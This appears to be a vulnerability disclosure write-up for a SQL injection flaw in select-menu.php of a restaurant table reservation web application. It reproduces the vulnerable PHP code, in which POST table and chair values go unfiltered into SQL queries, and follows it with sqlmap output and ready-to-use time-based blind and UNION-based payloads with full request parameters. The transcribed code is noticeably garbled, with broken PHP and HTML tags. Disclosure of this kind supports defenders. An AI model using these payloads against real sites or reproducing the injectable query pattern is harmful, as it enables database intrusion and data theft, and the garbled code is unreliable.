

# Multi Restaurant Table Reservation System select-menu.php has Sqliinjection

Multi Restaurant Table Reservation System select-menu.php has Sqliinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

## Code

```
css      # select-menu.php
> dashboard
> database
> fonts
> images
> js
> scss
> template
# book.php
# choose-table.php
# dbCon.php
# debug.log
# index.php
# login.php
# logout.php
# manage-resort.php
# prepros.config
# README.md
# register.php
# res_booking.sql
# reservation.php
# restaurant-its.php
# select-menu.php
# testend.php
# verifyaccount.php

1 <!-- select-menu.php -->
2 </php>
3 if ($isset($_POST['selectchair'])) {
4     $res_id = $_POST['res_id'];
5     $reservation_name = $_POST['reservation_name'];
6     $reservation_phone = $_POST['reservation_phone'];
7     $reservation_date = $_POST['reservation_date'];
8     $reservation_time = $_POST['reservation_time'];
9 }
10 $stable = $_POST['table'];
11 $schair = $_POST['chair'];
12
13 include 'template/header.php'; ?>
14
15 <script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js'></script>
16 </body>
17
18 <?php include "template/nav-bar.php"; ?>
19 <!-- END nav -->
20
21 <section class="home-slider owl-carousel" style="height: 400px;">
22   <div class="slider-item" style="background-image: url('images/bg_1.jpg');" data-stellar-background-ratio="0.5">
23     <div class="owl-nav"></div>
24     <div class="container">
25       <div class="row slider-text align-items-center justify-content-center">
26         <div class="col-md-10 col-mn=1 fco-animate text-center" style="padding-bottom: 20px;">
27           <p class="breadcrumbs"><a href="#">Home</a><a href="#>Index.php</a><a href="#>Home</a></span></span></div>
28           <h1 class="mb-3">Our Exclusive Menu/h1>
29         </div>
30       </div>
31     </div>
32   </div>
33 </section>
34 <form action="book.php" method="POST">
35   <section class="fco-section bg-light">
36     <div class="container">
37       <div class="row justify-content-center mb-5 pb-5">
38         <div class="col-md-7 text-center heading-section fco-animate">
39           <span class="tab-heading">Our Menu/</span>
40           <h2>Discover Our Exclusive Menu/h2>
41         </div>
42       </div>
43       <div class="row">
44         <div class="col-md-8 dish-menu">
45
46             <div class="nav navbar-pills justify-content-center fco-animate id="v-pills-tab" role="tablist" aria-orientation="vertical">
47               <a class="nav-link py-2 px-4 active" id="v-pills-home-tab" data-toggle="pill" href="#v-pills-home" role="tab" aria-controls="v-pills-home" aria-selected="true"><span class="flaticon-meat"></span> Fast Food/</a>
48               <a class="nav-link py-2 px-4" id="v-pills-profile-tab" data-toggle="pill" href="#v-pills-profile" role="tab" aria-controls="v-pills-profile" aria-selected="false"><span class="flaticon-cutlery"></span> Dessert/</a>
49               <a class="nav-link py-2 px-4" id="v-pills-messages-tab" data-toggle="pill" href="#v-pills-messages" role="tab" aria-controls="v-pills-messages" aria-selected="false"><span class="flaticon-cheers"></span> Drinks/</a>
50             </div>
51
52             <div class="tab-content py-5 id="v-pills-tabContent">
53               <div class="tab-pane fade show active id="v-pills-home" role="tabpanel" aria-labelledby="v-pills-home-tab">
54                 <div class="row">
55                   <div class="col-lg-12">
```

```
<div class="align-self-center">
| <p class="mb-0"><span>Reservation Time:</span> <a href=""><?php echo $reservation_time; ?></a></p>
| </div>
</div>
<div class="col mb-2 d-flex py-4 border" style="background: white;">
<div class="align-self-center">
<p class="mb-0"><span>Table No:</span>
<?php for($p = 0; $p < count($_POST["table"]); $p++) {
    $t_id = $_POST['table'][$p];
    $sql4 = "SELECT * FROM `restaurant_tables` WHERE id = '$t_id'";
    $result4 = $con->query($sql4);
    foreach ($result4 as $r4) {
        <a style="color: #FFB911;"><?php echo $r4['table_name']; ?></a>
    <?php } }>
    </p>
<p class="mb-0"><span>Chair No:</span>
    <?php for($q = 0; $q < count($_POST["chair"]); $q++) {
        $c_id = $_POST['chair'][$q];
        $sql5 = "SELECT * FROM `restaurant_chair` WHERE id = '$c_id'";
        $result5 = $con->query($sql5);
        foreach ($result5 as $r5) {
            <a style="color: #FFB911;"><?php echo $r5['chair_no']; ?></a>
        <?php } }>
    </p>
</div>
</div>
</div>
```

# Sqlmap Attack

```

[00:11:25] [INFO] testing connection to the target url
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Array-like #1* ((custom) POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: table[]='8' AND (SELECT 9337 FROM (SELECT(SLEEP(5)))LRyR) AND 'jUjj'='jUjj&table[]=9&chair[]=50&chair[]=52&r
es_id=5&reservation_name=Park View Restaurant&reservation_phone=01821356478&reservation_date=2025-01-30&reservation_time
=10:00am&selectChair=Confrim

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: table[]='8' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767671,0x4149486c535169635959617a536c634d5a43446e494e765
06a63704f7676426d6c4d416d5763446a,0x7171627671)-- --&table[]=9&chair[]=50&chair[]=52&res_id=5&reservation_name=Park View
Restaurant&reservation_phone=01821356478&reservation_date=2025-01-30&reservation_time=10:00am&selectChair=Confrim
---

```

# Payload

Parameter: Array-like #1\* ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: table[]=8' AND (SELECT 9337 FROM

(SELECT(SLEEP(5)))LRyR) AND

'jUjj'='jUjj&table[]=9&chair[]=50&chair[]=52&res\_id=5&reservation\_name=Park View

Restaurant&reservation\_phone=01821356478&reservation\_date=2025-01-30&reservation\_time=10:00am&selectChair=Confrim

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: table[]=8' UNION ALL SELECT

NULL,NULL,CONCAT(0x716a767671,0x4149486c535169635959617a536c634d5a43446e494e76506a63704f7676426d6c4d416d5763446a,0x7171627671) - - -

&table[]=9&chair[]=50&chair[]=52&res\_id=5&reservation\_name=Park View

Restaurant&reservation\_phone=01821356478&reservation\_date=2025-01-

30&reservation\_time=10:00am&selectChair=Confrim

---